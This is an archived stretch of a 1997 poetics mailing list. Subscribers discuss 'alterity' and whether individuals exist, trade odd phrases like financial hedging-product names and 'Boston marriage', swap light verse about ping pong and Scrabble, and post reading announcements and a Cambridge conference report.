Ron also writes on pg. 57 "Don't imitate yourself." Which actually sits a bit oddly next to "Individuals don't exist," as I imagine he recognized in the writing. Not existing is what individuals do best, no? There is a grammatical action that can't be evaded here --

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927. **Jeffrey W. Timmons**
alterity
Mon 28 Apr 1997

---

would someone explain this term? i take it that it seeks to get out of the dilemma of using "otherness"?

jeffrey timmons

↑ Index

928. **Wystan Curnow**
Re: alterity
Tue 29 Apr 1997

Yes, think its the condition entered into as a result of having been strenuously othered ('Other me, baby/All night long', et cetera) or altered to suit (Alterity Tailors, workmanship guaranteed) sometimes confused with altarity, the condition of having been signified, transcendentally. Or hailed, ideologically while doubled up with laughter. Generally, however, alternity is preferable to ' otherness' (which while murky is also comparatively diurnal), for apart from being more syllabic it is surely a condition of greater consequence and dignity. Hope this helpless.

Wystan

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929. **Hugh Steinberg**
words
Tue 29 Apr 1997

I'm currently temping at a big accounting firm. My job entails examining a database of old accounting reference books (most five to ten years out of date), which are in Word 1.1, looking for table and shading codes. Eight hours a day: I will never say I'm bored again. But tracing back to a previous thread, something interesting did emerge from this boredom: I stumbled upon this word list of hedging products, some of which sound quite beautiful. For those who don't follow economic arcana, hedging products are financial instruments designed to

reduce exposure to risk, mostly in stock, futures, and other sorts of exchanges. Here goes:

Accreting swap
Amortizing interest rate caps
Annuity swap
Asset based swaps
Average rate options
Basis rate swap
BEROs
BIG index swap
Boston option
Break forwards
Butterfly swaps
Callable cross currency swaps
Callable/puttable swaps
Cancellable forwards
Caps
Caption
Ceilings
CIRCUS
Collars
Commodity swaps
Compounds
Coupon option swap
CPI futures
Currency option swap
Currency swap
Cylinder options
Deferred cap
Deferred interest rate setting
Deferred swap
Discount swap
Double swaps
ECU futures
Either/or options
Euro rate differential futures
EXTRAs
FALCONS
Flexible forwards
Floating rate basis swaps
Floors

Floortions
Forward CIRCUS
Forward rate agreements
Forward swap
FOXs
Hindsight options
Interest rate collars
Long-dated forwards
Lookback options
LORAs
MINI-MAX
Mortgage swaps
OPPOSSMS
Options on futures
Options on options
Partial ceiling options
Participating caps
Participating forwards
Puttable swaps
Range forwards
Reversible swaps
Roller coaster swaps
Saw-tooth swap
Spread lock
Staircase cap
Stock index futures
Super floater caps
Swaptions
Triple snap downs
Tunnel
Unhinge and extend
Unwinds
Windows
Yield curve swaps
Zero coupon swaps
Zero premium options

(c) 1989, American Institute of Certified Public Accountants.

Trillions of dollars circulate through these instruments, mostly imaginary, unless you happen to live in Orange County. So not only are there no individuals, there's no money either.

Hugh Steinberg

↑ Index

930. Hugh Steinberg
Re: alterity
Tue 29 Apr 1997

Alterior motives?

Hugh Steinberg

> *Yes, think its the condition entered into as a result of having been strenuously othered ('Other me, baby/All night long', et cetera) or altered to suit (Alterity Tailors, workmanship guaranteed) sometimes confused with altarity, the condition of having been signified, transcendentally. Or hailed, ideologically while doubled up with laughter. Generally, however, alternity is preferable to ' otherness' (which while murky is also comparatively diurnal), for apart from being more syllabic it is surely a condition of greater consequence and dignity. Hope this helpless.*
>
> *Wystan*

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931. Steven Marks
Re: words
Tue 29 Apr 1997

what a great list of terms! Who said accountants were boring? You know, the favorite "Boston option" of the old Celtics was their famous "break forward."

Some day, I will make a list of all the ridiculous terms (none of which are beautiful) which I use in my business ghostwriting.

PI/E, anybody?

cheers,
Steven

People involvement/empowerment. They're not workers or employees; they're people. Being called a person instead of being labeled an employee must mean I'm unique, right? A real individual. The company wants ME to be involved and empowered. God bless them! Could I have a seat on the Board of Directors next? I'm sure they will be happy to make room for ME and maybe even YOU.

Steven Marks

http://members.aol.com/swmarks/welcome.html

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932. Ken Edwards
rempress readings
Tue 29 Apr 1997

at St Peter's Church on Castle Hill, Cambridge (adjacent to Kettle's Yard)

8pm

8 May Caroline Bergvall / cris cheek

15 May John Forbes / Andrew Duncan

22 May Ken Edwards / Wendy Mulford

29 May Drew Milne / Rob McKenzie

Tickets 3.50 pounds (2.50 concessions)

Season tickets 10 pounds (8 concessions)
from rempress, 6 Grasmere Gardens, Cambridge CB4 3DR, UK

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933. Dale Smith
Re: individuables
Tue 29 Apr 1997

Yes, it is a curious word, individual. Since this is a poetics list, I took the word in the context of poetry. Henry Gould's post in which he discusses Artistotle's Poetics is very apropos because, in terms of writing, to invalidate the individual, however you take that term--philosophically or historically--brings up questions of authorial intent, etc. To deny intention, personal engagement, or the very impulses by which one writes seems strange to me. Maybe that's not what Mark meant at all. Maybe he thinks you can engage and listen to personal impulses, though not as an individual. But as what? The thing is, and this brings me back to the context of poetry, Mark writes--indeed, many write--from the perspective of the social. And poetry is, by all means, partly a social act. But I do want to place emphasis on the word 'partial.' Adorno traces poetry's roots to the occult practices of the ancients. The lyric itself seems a to be a kind of medium through which we connect the self to the emotional realities of others. The social is not concerned with emotional realities. Negative capability is, oddly, an extremely personal exegesis of that which exists outside of, but not dependent from, the personal. Since most experimental poetry experiments with social forms, I'm wondering if it's also possible for other experiments to take place under more traditional forms. I'm not advocating a new formalism

by any means. I'm just interested in how something--self? individual? commuity?--invests language with the power of expression.

The following is from Tom Clark's "Confessions." I hate to burden the list with so much, but Tom articulates something which is for me quite accurate. My question is how is the individual different from self? Or are these terms the same?

****

"Not knowing oneself, when all's said and done, is a little like breathing, a habit one can give up only for a minute or two before serious consequences start to set in. Given that fact, imagine how uncomfortable things might quickly get if one were able to actually see one's various unidentical selves strutting their ridiculous pretensions to coherence through the eyes of others. Some levels of complication were probably meant to be borne only by language, in whose surprising reflections and sudden transparencies things take on for moments at a time a clarity that's spellbinding-or perhaps more accurately spellbreaking, shattering the data-hypnotized, stressed-out, hurry-up stupor of a life in a technologically administered society. Within that society, to be oneself is almost too great a burden to bear; even, and maybe especially, in the chilling revelation of the lyric moment, the moment of negative capability when one's party to the projection of a kind of self-knowledge that's not individual but species-specific. As deep into the substratum of a collective life the undercurrent of our language seeps, the lyric never loses its power to follow, tapping the convergences of all those tributary streams, drawing off primary metaphors as trace elements from word roots. That underground current is the medium in which a submerged poetics can always be detected, rising back up to the surface like air bubbles behind a swimmer in water."

> *have kept out of this for the most part -- but most of the heat generated around this subject has been a matter of shifting terms -- it's pretty clear to me that Mark and some of the people responding to him simply do not mean the same thing by the word "individual" -- I don't think there's any doubt that discernable entities roughly bounded by their own skin exist and move about -- but it's not just a "trendy" thing to worry that "cogito ergo sum" has at least one or two remaining presuppostions to be looked at --*
>
> *Ron also writes on pg. 57 "Don't imitate yourself." Which actually sits a bit oddly next to "Individuals don't exist," as I imagine he recognized in the writing. Not existing is what individuals do best, no? There is a grammatical action that can't be evaded here --*

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934. **Gwyn McVay**
Re: Tom's pingpong rap
Tue 29 Apr 1997

such babble.
my game is Scrabble.

I'll bet no one can sling tiles
better than me for miles.

Gwyn

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935. **Rebecca Weldon**
(no subject)
Tue 29 Apr 1997

I sent a message for nomail to listserve on the 24th. The message was not recognized because when I returned on the 29th I was treated to 70 messages.

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936. **henry gould**
Re: individuables
Tue 29 Apr 1997

More 3rd thoughts on this subject. I take it Mark W & Jeff H were making a "writerly" statement which was meant in the context of writing [i.e. "indiv. do not exist"]. Have been reading a really excellent study of Aristotle by Michael Davis [_Poetics of Aristotle_], maybe can draw some connections. One of the zillion things Davis considers is that the _Poetics_ is a study of all human action - all action being poetic since it's both imitative & based on mental representations ("I will do the heroic thing here, I will do the necessary, the right, the wrong thing"..etc]. & "man" being the rational animal, it's always a combination of action/reflection; tragedy turns on its own interpretation of what went wrong (the reversal, the recognition scene), which is a display of this action/reflection... & always involves lying or fiction, as the better the imitation of real life, the more artificial...

anyway, not to ramble too much more, this fiction-making which obscures/ displays the moment of truth brings up the issue of the author's intention, which connects with the question of individuality. In tragedy the author is more "effaced" than in epic, where the writer's hand is visible in the narration & choice of materials - it's a story as opposed to an enactment of "real life"...

so what's the point here? Aristotle says a basic purpose of poetry is to cause wonder, to cause the listener to wonder & consider. Authorial intention is obscured behind the double action/reflection of the work (just as in real life - only in the poem or drama - there's a focus or general purpose) - behind the lying/truth of the work. This obscurity establishes a middle path, a mean, between conventional "truths" (fixed shibboleths or abstract verities) and complete chaos (the idea that since the poet is lying, there is NO access to the truth, no authorial intention, etc. - trendy these days). So that the audience "wonders" into a deeper exploration & sympathy for the fatalities that emerge from this doubleness.

Again, what is ze point, Hank? As Aldon says, there are qualifiers to "cogito ergo sum". M & J's "there are no individuals" rang out like a "verity" provoking the double-dealing arguments that followed. I would still hold that if there's authorial intention, it's a pretty good assumption that there are individuals. Proust's meisterwerke destabilizes the concept of the simple "person" (people change so much they no longer recognize themselves) - & yet toward the end of the novel, in his defense of his enterprise, he claims - I think - that it's the SURFACE, false social faces of the person that are illusions - the "personalities" created by society - & that the writer really does justice by sinking deeper into the utterly unique experience of individual time - and only art that draws deep enough really contributes something original & "true". (But then, he had his own genre & his own individual axe to grind.) - Henry Gould

↑ Index

937. **David R. Israel**

Re: words

Tue 29 Apr 1997

---

from Hugh Steinberg's hedging roster:

> *Boston option*

Sure don't know what that is as such -- but the lexical formula reminds (of course) of that well-known temporal descriptive

> *a New York minute*

based on which, think I've seen a few other city-rooted expressions.

Co-veterans of a suburban televideotic education of a certain era will likely recall

> *Texas tea*

A sense of self-irony (or parody) seems to adhere in such expressions -- and they have the important quality of paying tribute to particular locations. Some of us who've been to India are familiar with

> *India time*

but this gets a bit diffuse; the the city-based terms seem more interesting. Others out there (traditional -- or hot off the e-press?)

cheers,
d.i.

```
 .
 .....
 ............
 \\\\
```

but maybe I just don't read enough to be in on the latest trends --

↑ Index

939. **Aldon L. Nielsen**
Re: Zone Defense
Tue 29 Apr 1997

Last time I was in D.C. I made the mistake of playing ping tennis with Mr. Mandel, who promptly drove one of those Jack-in-the-box balls into my nose -- which explains that permanently befuddled look on my face that so many of you have commented upon -- as well as the odd sonorities of my highly individuated vocal apparatus -- Tom Mandel is no ping pong diplomat -- If you accept his challenge, prepare to meet your unmaker --

[no ironies where none intended]

↑ Index

940. **hg**
Re: out for alterations
Tue 29 Apr 1997

---

they're probably not at all the latest trends - but I was referring to deconstruction and the Yale School, which as I understand it (I could be way wrong), holds that the text slips away from the author, cannot refer to external reality (no such thing), & is all part of a de-Saussurean saucer of non-identities. - HG

↑ Index

941. **Tom Mandel**
(no subject)
Tue 29 Apr 1997

Those who call it "table tennis"
are destined to fall,

scuffing up their table whites
'n all,

should they visit DC
to try such stuff 'pon me

Tom

...who wrote:

Date: Sun, 27 Apr 1997 15:17:16 -0700
From: George Bowering <[redacted]>
Subject: Re: p i n g p o n g

Ping Pong, or as it is called among us really good players, table tennis, is very important to the earlier Sidel novels (Such as _Blue Eyes_) of Jerome Charyn, my main man.

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****
Join the Caucus Conversation

↑ Index

942. **Tom Mandel**
Zone Defense
Tue 29 Apr 1997

In a dream, Calbert Cheaney came to me and said: "Guarding Michael, having a big game myself, giving up 55 to him, giving my all -- it just makes me realize there are no individuals. The only defense is a zone."

Yet, although Joe Safdie writes:

> *Aldon's (and others) ... identifying*
> *people as "congeries of social forces"*

on my (individual) computer screen the quoted phrase came out "quandaries of facial sources" -- I think my computer has been reading my notes on Levinas.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****
Join the Caucus Conversation

↑ Index

943. **Jordan Davis**
Re: from pong to scrabble
Tue 29 Apr 1997

I know a woman
who plays scrabble
with an older woman
for money -- not
as in a wager but
to pass the time
and she always
loses! because the
older woman plays
words 'from the
Latin or Greek' but
doesn't allow
the woman I know
to play those
same words next game.

J

↑ Index

944. **Karlien van den Beukel**
REPORT CCCP 7
Tue 29 Apr 1997

The annual Cambridge Conference of Contemporary Poetry took place for the seventh time last weekend, in England. Although I have been a silent subscriber of the poetics list up till now, I would like to offer this reportage of CCCP, a rather Byzantine event, yet significant in its international scope. Other list subscribers who attended CCCP 7, such as Ira Lightman, Fiona Templeton, Ken Edwards, John Kinsella and cris cheek, will, I am sure, have different responses. Here are short immediate responses on each of the readings, papers and performances I attended, in chronological order.

Jennifer Moxley Since Romana Huk's conference in New Hampshire, Jennifer Moxley's poetry has become known in Cambridge. Lucy Sheerman and I (co-founders of the small poetry press Rempress) published Moxley's pamphlet "Enlightenment Evidence (Part One)" in November 1996. Underneath the rhetoric of studied modesty lies, of course, a self-regarding subjectivity, yet the subtle discursive progression through which the terms & conditions of the social contract are negotiated, made for a fascinating reading.

John Tranter is an influential Australian poet whose energetic interest in manifold poetic forms is both stimulating and enjoyable. However, his reading, interlaced with unnecessarily reductive explanations, only in part conveyed that inventiveness. Perhaps an anxiety that social commentary on the Australian locale would be misrecognised by the audience, weighed unduly. The final poem, Voodoo, on the uncanniness in banal objects, was a tour-de-force.

Papers and discussions

Steve Evans opened the session, with a strategically surprising paper. Rather than offering a theoretical paper, he chose to close-read Bernadette Mayer's poem 'The Way to Keep going in Antartica'. With the elucidation of philosophy, he followed, beautifully, the instructions in the poem: 'Look at very small things with your eyes & stay warm'.

Karen Mac Cormack presented a lucid analysis of the misleading readings of the stratification of poetry communities in the States, and off-set this with an exposition of her own methodology. If I understood correctly, seriousness is in collaborataive praxis, not in retrospective polemicisation of micro-political positions.

Jean Khalfa
provided an excellent short introduction to the French poet Emmanuel Hocquard, who was to read later that evening.

Tony Lopez, who chaired the discussion, noted the similarities between Hocquard's and Mac Cormack's working practice, and steered the discussion toward the notion of 'communities'. Evans expanded on his paper by discussing Mayers in relation to the New York School. Current methods of production, distribution and communiciation (including the internet) were discussed. Some thought this unnecessary. Moxley found it displacing discourse (away from "creativity"). Grace Lake responded with what could be understood as an ironic public display of "creativity". Unfamiliarity with each other's geo-political restrictions made an in-depth discussion difficult. Thus, we retired to the bar and continued talking in smaller groups.

Poetry readings, again.

Grace Lake is a Cambridge poet anthologised in Conductors of Chaos and Out of Everywhere. Before reading, she threw a green net (of the kind one covers strawberries with against sparrows) which she called "her internet" over the bust of Maynard Keynes in the corner. Her imaginative gestures, the spendthriftness of rhyme and imagery, do indeed make for a great economy in her poetry. In the middle section (particularly 'Swiss Kiss'), however, her reading turned into a perfunctionary litany of wrongs: the poet is suddenly trapped in her own history. She emerged again, with a sparkling finalale.

Karen Mac Cormack I thought that I would have to be critically informed to appreciate the disciplined elegance of the ellipses, turns, shifts, in Mac Cormack's language poetry. Not so. One sequence in particular, drove language down to vortex, and still, through & over, she continued, finishing balanced on one point & at a slant. The Australian poet John Forbes (not known as a language poet cognoscentus) was heard to mutter an awed 'yes'. Admirable stuff, indeed.

Emmanuel Hocquard is probably well-known in the States for his translations of American poetry, and Keith and Rosemary Waldrop's translations of his. I won't embarrass myself by presuming to comment on a poet I have not read, as I do not read the French so fluently, but whose reading, suffice to say, I enjoyed, not least due to Peter Riley's witty and resourceful on-the-scene translations.

Performance

Fiona Templeton Her peformance of 'Recognition' was extremely well-attended. The performance seemed a continuous struggle against narrative closure, as if refusing the fact of death itself, and yet having to come to terms (but what terms precisely?) with this particular death: the death of a friend with whom she had collaborated on performances. Remarkable use of modern recording material, video and television. She would repeat the seemingly spontaneous gestures of his recorded moving image on the shown video, turning his play into hers (or had it been hers all along?), responding to what seemed his direct questions to her, choosing videos to replay, in an almost private moment, and then turn to the song of defiance, all the while unsettling boundaries between artifice and the real. Finally, the television set, showing a still close-up of his head on the pillow, was heaved on to the edge of the table, and she covered the table with a white sheet: he seemed to be present, a very thin man with a huge head lying in a hospital bed. And clearly he was not-present. A very moving performance, to which my too literal description does not much justice: it could never.

Poetry

Allen Fisher is a major English poet, and apart from his poetry's intelligence and social grace, Fisher himself also possess these qualities. He is an interesting performer of his poetry, at times, as if he is thinking aloud, even ad libbing. He read a dialectical poem which was an exchange between "two theologians": Roger Penrose and Stephen Hawking. The Olsonian scale of his projects are, to me, daunting, not only qua exegesis, but also in their interdisciplinary scope. I take it from what I know (those 'small things'), and then go on.

Tracy Ryan is a young Australian poet who, together with her partner John Kinsella, works indefatigably for the journal Salt. She is tenacious and careful with her material, and read clear subject-poetry on domesticity, ice, child-care. One of her poems has been chosen to be printed as a poster for 'poetry on the

Underground': thousands of commuters on the London Tube will read it daily. Closing the conference with her strong reading, was also an acknowledgement of our responsibilities, to return to homework to be done.

Take care now, and mind the gap.

Karlien van den Beukel
Gonville & Caius College
Cambridge, England

↑ Index

945. George Bowering
Re: home of the brave
Tue 29 Apr 1997

> *Saving George...it's not for the faint at heart, you know. It's not for sissies. But as Lincoln said at Gettysburg, we are here dedicated to the great task remaining before us. The last full measure of devotion, etc.*
>
> *Rachel L.*

That is exactly it, exactly why I will do anything for Rachel, and conversely, why I felt so betrayed by Maria, who turned her back when I showed where I was bleeding. Turned her back (here is the worst part) and continued reading a poem by David Bromige!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

946. Jeffrey W. Timmons
Re: alterity
Tue 29 Apr 1997

On Tue, 29 Apr 1997, Wystan Curnow wrote:

Hope this helpless.

yep. thanks.

jeffrey timmons

↑ Index

947. David R. Israel
from pong to scrabble
Tue 29 Apr 1997

In bardic manner boasteth Gwyn McVay
who claims a winning lexical touche

sez:

> *such babble.*
> *my game is Scrabble.*
>
> *I'll bet no one can sling tiles*
> *better than me for miles.*

perhaps perchance belike you might be right
but pudding's proving isn't in its fame
I've not played scrabble since I was a slight
& wispy youth but now in age I'm game

some summer day beside the C&O
where willow leaves are kelly as the Knight
to meet your haughty challenge would I go
thus proving an you boast for sooth aright

d.i.

```
 .
 .....
 ............
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\/////\\\\\
  >    david   raphael   israel    <
  >>      washington  d.c.      <<
| ▇▇▇▇▇▇▇      (home)
| ▇▇▇▇▇▇▇      (office)
 ==========================
|   thy centuries follow each other
|   perfecting a small wild flower
|                                (Tagore)
/////////////////////////////////////////\\\\\/////
```

↑ Index

948. **Sylvester Pollet**

Re: words

Tue 29 Apr 1997

Well, around here there's something known as "The Deer Isle Smile," which is the one that begins appearing on the lower back of a guy whose jeans are riding low. sp

> *from Hugh Steinberg's hedging roster:*
>
> *Boston option*
>
> *Sure don't know what that is as such -- but the lexical formula*
> *reminds (of course) of that well-known temporal descriptive*
>
> *a New York minute*
>
> *based on which, think I've seen a few other city-rooted expressions.*
>
> *Co-veterans of a suburban televideotic education of a certain era*
> *will likely recall*
>
> *Texas tea*
>
> *A sense of self-irony (or parody) seems to adhere in such expressions*
> *-- and they have the important quality of paying tribute to*
> *particular locations. Some of us who've been to India are familiar*
> *with*
>
> *India time*
>
> *but this gets a bit diffuse; the the city-based terms seem more*
> *interesting. Others out there (traditional -- or hot off the e-press?)*
>
> *cheers,*
> *d.i.*
> *.*
> *.....*
> *.....*
> *\\\

> | *(Tagore)*
> //\\\\\////

↑ Index

949. **Herb Levy**
Re: DRAGON BOND RITE
Tue 29 Apr 1997

I returned home from a long weekend in SF (not always poetical, though I did get to see/hear/hang out (again in some instances) with some of the folks on this list: Hi all) to find the postcard from the Japan Society about this & another, more traditional, event in May.

To the several comments & plugs, I'll add that the Indonesian perfomers are also very good & that Jin Hi Kim, who has spent a lot of the last ten-fifteen years collaborating with artists from diverse cultures (though this may be the most elaborate project she's ever undertaken) primarily plays komungo, IS technically a zither, though, unlike the chin, the instrument is fretted and strummed with a stick, rather than plucked with fingers. She's a very good improvisor and has composed numerous works for traditional European and Asian instruments, often playing in the same ensembles, most of which I've heard are quite good.

Oh, & one of the musicians in Huun Huur Tu is defintely among the pictures of performers on the card, so I assume that Gwyn's right about it being the same khoomei singer, though, never having seen them perform, I don't who's who in the band.

Bests

Herb Levy
[redacted]

↑ Index

950. **Alan Jennifer Sondheim**
in-Kant
Tue 29 Apr 1997

-

Incantation: Corrective Strategy: Hacker Drive: Core Dump: Gdb:

The drive to write, the drive to correct, to turn these words into pure empathetic sound: such would cancel, chill, curtail, recuperate violation- fabric-the-medicine, make me hole again, the disappearance of the vacanta- tory eye/I. Into the night, right I, slewed from skewed violation-fabric: Dar dar dar.

Arduous the night. Dar dar dar. Perturbatio. Dar dar dar dar. Ahesulim, Salimpalihilisu, SalimpalihAdda, MusallimMarduk, Addumusallim. .rad rad rad raD .oitabrutreP .rad rad raD .thgin eht suoudrA .rad rad raD .millasumuddA ,kudraMmillasuM ,addAhilapmilaS ,usilihilapmilaS ,miluseh A .rad rad rad raD .oitabrutreP .rad rad raD .thgin eht suoudrA .rad rad raD .millasumuddA ,kudraMmillasuM ,addAhilapmilaS ,usilihilapmilaS ,miluseh A .rad rad rad raD .oitabrutreP .rad rad raD .thgin eht suoudrA .rad rad raD .millasumuddA ,kudraMmillasuM ,addAhilapmilaS ,usilihilapmilaS ,miluseh A .rad rad rad raD .oitabrutreP .rad rad raD .thgin eht suoudrA .rad rad raD .millasumuddA ,kudraMmillasuM ,addAhilapmilaS ,usilihilapmilaS ,miluseh A .eid lliw I .yawyna eid lliw I ,eid lliw I ;yawyna eid lliw I ,eid lliw I .eid lliw I .yawyna eid lliw I ,eid lliw I ;yawyna eid lliw I ,eid lliw I .rad rad rad raD .oitabrutreP .rad rad raD .thgin eht suoudrA .rad rad raD .rad rad rad raD .oitabrutreP .rad rad raD .thgin eht suoudrA .rad rad raD

GDB:

gdb Incantation: GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.16 (sparc-sun-sunos4.1.4), Copyright 1996 Free Software Foundation, Inc...

"/net/u/6/s/sondheim/Incantation:": not in executable format: File format not recognized

(gdb) quit

↑ Index

951. **Maria Damon**

Re: home of the brave

Tue 29 Apr 1997

---

i wish it recorded publically here that i have never, contrary to scurrilous rumor, read a poem by david bromige. after i the caper with those red suspenders, how could I?

At 10:02 AM -0700 4/29/97, George Bowering wrote:
>>Saving George...it's not for the faint at heart, you know. It's not for
>>sissies. But as Lincoln said at Gettysburg, we are here dedicated to
>>the great task remaining before us. The last full measure of devotion,
>>etc.
>>

>>Rachel L.
>
>That is exactly it, exactly why I will do anything for Rachel, and
>conversely, why I felt so betrayed by Maria, who turned her back when I
>showed where I was bleeding. Turned her back (here is the worst part) and
>continued reading a poem by David Bromige!
>
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]

↑ Index

952. **Maria Damon**
Re: words
Tue 29 Apr 1997

---

evidently the term "boston marriage" was a phrase in the gay/lesbian underground argot ca. 1950s or so to refer to a living arrangement in which two women were nominally "roommates" and may have actually never been sexual partners but were for all intents and purposes, a (closeted) couple. maybe i've got some of the details wrong.

At 9:01 AM -0500 4/29/97, David R. Israel wrote:
>from Hugh Steinberg's hedging roster:
>
>> Boston option
>
>Sure don't know what that is as such -- but the lexical formula
>reminds (of course) of that well-known temporal descriptive
>
>>a New York minute
>
>based on which, think I've seen a few other city-rooted expressions.
>

>Co-veterans of a suburban televideotic education of a certain era
>will likely recall
>
>>Texas tea
>
>A sense of self-irony (or parody) seems to adhere in such expressions
>-- and they have the important quality of paying tribute to
>particular locations. Some of us who've been to India are familiar
>with
>
>>India time
>
>but this gets a bit diffuse; the the city-based terms seem more
>interesting. Others out there (traditional -- or hot off the e-press?)
>
>cheers,
>d.i.
> .
> .....
> .....
> \\\\

>
>I'll bet no one can sling tiles
>better than me for miles.
>
>Gwyn

↑ Index

954. **Maria Damon**
REPORT PPS ?
Tue 29 Apr 1997

---

does anyone want to start of a composite and accretional description/report of the rutgers POetry and the Public Sphere conference? i'll join in after someone else begins.-md

↑ Index

955. **David Israel**
Re: words
Tue 29 Apr 1997

---

ah yes, here's one other, now remembered:

> *a Philadelphia lawyer*

(I knew this was percolating -- for some reason, Maria D.'s mention of "a Boston marriage" dislodged it) -- only trouble is, I can't give a very exact definition; it was prob. William Safire who did a riff on this. (The sense, I think, suggests sleaze -- for reasons not lost to memory.)

I recall laboring out an explanation of "a New York minute" to someone who didn't understand the phrase. (Much like "explaining a joke.")

Of course, location needn't be strictly physical or strictly geography. How about cyberspace?

what, for example, would be:

>a Poetics epoch?
[i.e., lasts abt. 4 days ?]

>a listserv season ?
[i.e., lasts abt. 3 days?]

then there's the gentle art of euphamism, such as:

>an internet pleasantry . . . (?)
[i.e., when, for some seemingly innocuous remark, one is royally flamed, skewered, and hung out to dry ?]

↑ Index

956. Charles Bernstein
Internation Subscribers
Tue 29 Apr 1997

I just got this from the listserv and thought it might be of interest to those who haven't tried the " review poetics by country" option. You also get a list of who the people are in each county

```
*  Country        Subscribers
*  -------        -----------
*  Australia            10
*  Belgium               1
*  Canada               31
*  Finland               1
*  Great Britain        17
*  Ireland               2
*  Italy                 1
*  Japan                 8
*  Netherlands           1
*  New Zealand           7
*  Norway                1
*  Poland                1
*  Spain                 2
*  Sweden                1
*  Switzerland           1
*  Thailand              1
*  USA                 424
*
* Total number of users subscribed to the list:    510  (non-"concealed" only)
* Total number of countries represented:           17  (non-"concealed" only)
```

↑ Index

957. Gwyn McVay
Re: words
Tue 29 Apr 1997

As Jim Morrison mentioned, "You can pick your teeth with a New York joint."

Gwyn

↑ Index

958. **raea100900**
Re: REPORT PPS ?
Tue 29 Apr 1997

Dear Maria and All,

I would love to hear a report on PPS.

Rae A.

↑ Index

959. **Pierre Joris**
Out here in Albania
Tue 29 Apr 1997

For anyone in or around Albany, or in driving distance, here's the poetry menu for this weekend, beginning on Thursday, Mayday:

MAY DAY

A Celebration of Poetry in Performance

May 1, 1997 (Thursday)

Performing Arts Center

University at Albany, Uptown Campus

4:00 p.m. -

Recital Hall
Informal Seminar by performance poets Bob Holman and Ed Sanders

5:00-7:30 p.m. -

Futterer Lounge and Lobby
Small Press Book Fair featuring displays by over a dozen independent
presses and journals

6:00-7:30 p.m. -

Outside the PAC (or Futterer Lounge in the event of bad weather)
Poetry Open Mike hosted by Tom Nattell, featuring readings by
students and community poets. All are

welcome. Sign-up at 5:45 p.m.
8:00 p.m. -

Main Theatre
Poetry in Performance readings by Bob Holman and Ed Sanders

& then, on FRIDAY & SATURDAY:

Chris FUNKHOUSER
Belle GIRONDA
Pierre JORIS
Alex REID
WILL BE READING/PERFORMING
@ 7pm Suny-Albany • Campus Center
Assembly Hall• Friday May 2nd
FREE & open to the public

Joel CHABABE /Pierre JORIS/Xavier CHABOT/Benjamin CHADABE with the ELLEN SINOPOLI DANCE CIE. will give the premiere of Joel Chadabe's composition "With Pierre's Words."

@ 8:00pm at the EGG Saturday MAY 3rd
PAYING (circa $10+)

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

↑ Index

960. **Jocelyn Emerson**
Re: words
Tue 29 Apr 1997

---

i believe Boston marriage actually goes back to the 19th century, picked up again later in this century as a term of empowerment (i.e. "queer"). i would go with Rich's analysis on this one, that it's more complex than sexuality (genital per say) alone can indicate-- as us queers are usually only defined by the sex thang, and think of the term as another facet of the lesbian continuum (or was that the Q continuum???) but you've all read the essay...

JE

> *evidently the term "boston marriage" was a phrase in the gay/lesbian underground argot ca. 1950s or so to refer to a living arrangement in which two women were nominally "roommates" and may have actually never been sexual partners but were for all intents and purposes, a (closeted) couple. maybe i've got some of the details wrong.*
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> *At 9:01 AM -0500 4/29/97, David R. Israel wrote:*
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> *a New York minute*
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> *based on which, think I've seen a few other city-rooted expressions.*
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>
> *Texas tea*
>
> *A sense of self-irony (or parody) seems to adhere in such expressions -- and they have the important quality of paying tribute to particular locations. Some of us who've been to India are familiar with*
>
> *India time*
>
> *but this gets a bit diffuse; the the city-based terms seem more interesting. Others out there (traditional -- or hot off the e-press?)*
>
> *cheers,*
> *d.i.*

```
.
.....
............
\\\
```

963. **rsillima**
Poetry & Public Sphere?
Wed 30 Apr 1997

I missed the Poetry & the Public Sphere conference in New Brunswick the other day. It interferred with the start of the mini-T-ball season and having been away from my family for the two previous weekends, couldn't imagine a third. But other than a couple of brief oral reports from Bob Perelman and Charles Alexander (which came at Eli Goldblatt's house just two blocks from the site of the so-called summit on volunteerism ((which got more play in the media than did the poetry & the public sphere))), I've heard nought of said conference. Can somebody do the same sort of detailed account that we have now had of the Cambridge Conference?

Alterity, by the way, teaches at UC Berkeley.

Ron

Ron Silliman When this you see
262 Orchard Road Remember me
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]

↑ Index

964. **rsillima**
Robert Erickson
Wed 30 Apr 1997

A word here to note the passing of composer of Robert Erickson (1917-97) after having been bed-ridden for the past 15 years. Erickson was one of those American originals who seemed drawn to the West Coast. One of the first music directors of KPFA in Berkeley and a founder of the music dept at UC San Diego. Charles Shere wrote an excellent bio/study of Erickson that came out a year or two ago (and I believe is still carried by Small Press Distribution in Berkeley) that also contains a CD of the music.

There was an obit in yesterday's NY Times that was fairly decent, especially by the sometimes spotty standard of that publication.

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]

When this you see
Remember me

↑ Index

965. **David Israel**

Re: words

Wed 30 Apr 1997

---

from Hugh Steinberg:

<< . . .I'll toss the legendary California Stop into this discussion, which is what you do when you're driving and instead of actually stopping at a light or stop sign, merely slow down. I don't know if this a western US regional thing or if it's a little more widespread. >>

as a term, I suspect it's certainly a western US regional thing --

